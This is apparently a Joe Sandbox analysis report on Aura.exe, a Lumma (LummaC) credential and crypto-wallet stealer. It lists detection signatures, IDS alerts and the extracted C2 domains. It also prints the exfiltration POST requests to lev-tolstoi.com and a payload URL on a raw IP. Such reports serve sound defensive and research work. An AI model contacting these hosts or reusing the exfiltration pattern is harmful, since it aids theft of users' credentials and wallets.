Edit tour

Windows Analysis Report
Aura.exe

Overview

General Information

Sample name:	Aura.exe
Analysis ID:	1581514
MD5:	fd5fba5d5bef2952443b96241ffa5814
SHA1:	c6613e363bec49bdf5eb98ccf0f4ee85615cad29
SHA256:	08205d107a6b14818a12e3c8e30c3c7c3300e439359dfc0c99ed026815deca41
Tags:	exeLummaStealersigneduser-ventoy
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Aura.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\Aura.exe" MD5: FD5FBA5D5BEF2952443B96241FFA5814)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Aura.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\Aura.exe" MD5: FD5FBA5D5BEF2952443B96241FFA5814)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "inherineau.buzz", "appliacnesot.buzz", "scentniej.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "mindhandru.buzz"], "Build id": "BVnUqo--@hitok4111"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1842452334.0000000003427000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1842261348.0000000003424000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Aura.exe PID: 7412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Aura.exe PID: 7412	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Aura.exe PID: 7412	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:27.879814+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:47:30.304703+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:47:32.346762+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:47:35.367774+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T23:47:37.730606+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.66.86	443	TCP
2024-12-27T23:47:40.040652+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T23:47:42.651807+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.66.86	443	TCP
2024-12-27T23:47:45.213010+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.66.86	443	TCP
2024-12-27T23:47:49.425230+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:31.062522+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:47:33.123035+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:47:50.180498+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49747	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:31.062522+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49735	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:33.123035+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49736	104.21.66.86	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:36.327711+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49737	104.21.66.86	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:45.224331+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49743	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:47:28.679355+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/r	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apimv	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apil	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/pi(	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/api1	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "inherineau.buzz", "appliacnesot.buzz", "scentniej.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "mindhandru.buzz"], "Build id": "BVnUqo--@hitok4111"}

Multi AV Scanner detection for submitted file

Source: Aura.exe

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: Aura.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: BVnUqo--@hitok4111

Source: C:\Users\user\Desktop\Aura.exe

Code function: 2_2_00415729 CryptUnprotectData,

2_2_00415729

Source: Aura.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000C1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000C1FE9

Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_0043F080
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov ecx, eax	2_2_0040B11D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	2_2_0043D929
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov ecx, eax	2_2_004269E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], DA026237h	2_2_00423257
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+6ED1A348h]	2_2_004382F0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp byte ptr [eax+edi+09h], 00000000h	2_2_004382F0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	2_2_0043D357
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov eax, edx	2_2_0040C404
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042CD4D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [edi], ax	2_2_0040C551
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000001F0h]	2_2_00415729
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+000001F0h]	2_2_00415729
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 344CE4E0h	2_2_00415729
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_0041C051
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then lea ebx, dword ptr [eax+eax]	2_2_0041C051
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042D05A
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_0041F0E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00435880
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042D0AE
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi]	2_2_0043B910
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004221E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004221E0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then jmp eax	2_2_0043E1F4
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+0Ah]	2_2_0041C980
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-67h]	2_2_00425986
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_0041B18C
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 4B1BF3DAh	2_2_0041499B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi]	2_2_0041499B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0827F28Dh	2_2_0041499B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ecx+esi*8], 37A3DD63h	2_2_0041499B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00429241
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0042AAE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4B1BF3DAh	2_2_00438AE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edx], bl	2_2_004092A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov ecx, eax	2_2_004092A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov edx, ecx	2_2_0042B3C0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3A8FE122h]	2_2_00419BE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00419BE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 11A82DE9h	2_2_00419BE0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then jmp eax	2_2_00428BFE
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx eax, word ptr [ebp+00h]	2_2_00439459
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+000001F0h]	2_2_00415C3B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 344CE4E0h	2_2_00415C3B
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00429241
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx edi, byte ptr [ebp+esi-2Ch]	2_2_0043DCE7
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then jmp eax	2_2_00424C80
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042A4B0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00422540
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_00407500
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov edx, ecx	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 6E87DD67h	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], 31E2A9F4h	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then test eax, eax	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp edx, esi	2_2_00438D10
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov ecx, eax	2_2_0041B5DD
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [esi], ax	2_2_0041D5EC
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx ebx, bx	2_2_0042459E
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then cmp cl, 0000002Eh	2_2_00426E50
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_00426E50
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042C62D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov word ptr [esi], ax	2_2_0041D603
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042C62F
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042DE30
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1Eh]	2_2_004096A0
Source: C:\Users\user\Desktop\Aura.exe	Code function: 4x nop then mov edi, ecx	2_2_0041BF5D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49747 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49735 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49743 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49734 -> 23.55.153.106:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NZT99NLH0EXMQ0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18144Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QGUKJY56F4XQMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8759Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AE5L39HWTNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20394Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y3EEH26WZIUZQ6OEFKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1258Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8Z6GI3CERO9K60User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 608294Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exeS
Source: Aura.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
